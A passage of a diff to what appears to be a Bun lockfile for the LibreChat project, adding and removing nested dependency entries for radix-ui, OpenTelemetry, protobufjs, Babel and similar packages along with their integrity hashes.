"@librechat/frontend/framer-motion/motion-utils": ["motion-utils@11.18.1", "", {}, "sha512-49Kt+HKjtbJKLtgO/LKj9Ld+6vw9BjH5d9sc40R/kVyH8GLAXgT42M2NnuPcJNuA3s9ZfZBUcwIgpmZWGEE+hA=="],
- "@librechat/frontend/jest-environment-jsdom/@jest/environment": ["@jest/environment@29.7.0", "", { "dependencies": { "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/node": "*", "jest-mock": "^29.7.0" } }, "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw=="],
-
- "@librechat/frontend/jest-environment-jsdom/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "@librechat/frontend/jest-environment-jsdom/@types/jsdom": ["@types/jsdom@20.0.1", "", { "dependencies": { "@types/node": "*", "@types/tough-cookie": "*", "parse5": "^7.0.0" } }, "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom": ["jsdom@20.0.3", "", { "dependencies": { "abab": "^2.0.6", "acorn": "^8.8.1", "acorn-globals": "^7.0.0", "cssom": "^0.5.0", "cssstyle": "^2.3.0", "data-urls": "^3.0.2", "decimal.js": "^10.4.2", "domexception": "^4.0.0", "escodegen": "^2.0.0", "form-data": "^4.0.0", "html-encoding-sniffer": "^3.0.0", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.1", "is-potential-custom-element-name": "^1.0.1", "nwsapi": "^2.2.2", "parse5": "^7.1.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^4.1.2", "w3c-xmlserializer": "^4.0.0", "webidl-conversions": "^7.0.0", "whatwg-encoding": "^2.0.0", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0", "ws": "^8.11.0", "xml-name-validator": "^4.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ=="],
-
"@mcp-ui/client/@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
+ "@mcp-ui/client/@modelcontextprotocol/sdk/express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
+
"@mcp-ui/client/@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="],
+ "@mcp-ui/client/@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
+
"@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
"@node-saml/passport-saml/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="],
"@node-saml/passport-saml/@types/express/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg=="],
+ "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="],
+ "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
"@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
@@ -7153,12 +7073,22 @@
"@radix-ui/react-checkbox/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="],
+ "@radix-ui/react-dialog/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
"@radix-ui/react-dropdown-menu/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w=="],
"@radix-ui/react-dropdown-menu/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.0", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-FUCf5XMfmW4dtYl69pdS4DbxKy8nj4M7SafBgPllysxmdachynNflAdp/gCsnYWNDnge6tI9onzMp5ARYc1KNw=="],
"@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="],
+ "@radix-ui/react-focus-scope/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
"@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="],
"@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg=="],
@@ -7199,8 +7129,12 @@
"@radix-ui/react-popper/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
+ "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
"@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.2", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-YAKxaiGsSQJ38VzKH86/BPRC4rh+b1Jpa+JneA5LRE7skmLPNAyeG8kPJj/oo4STLvlrs8vkf/iYyc3A5stYCQ=="],
+ "@radix-ui/react-select/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
+
"@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w=="],
"@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.1", "", { "dependencies": { "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w=="],
@@ -7237,26 +7171,42 @@
"@smithy/credential-provider-imds/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="],
- "@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
-
- "@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
-
"@types/winston/winston/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="],
"@types/winston/winston/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
+ "@types/ws/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+
"@typescript-eslint/typescript-estree/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
+ "@vitejs/plugin-react/@babel/core/@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
+
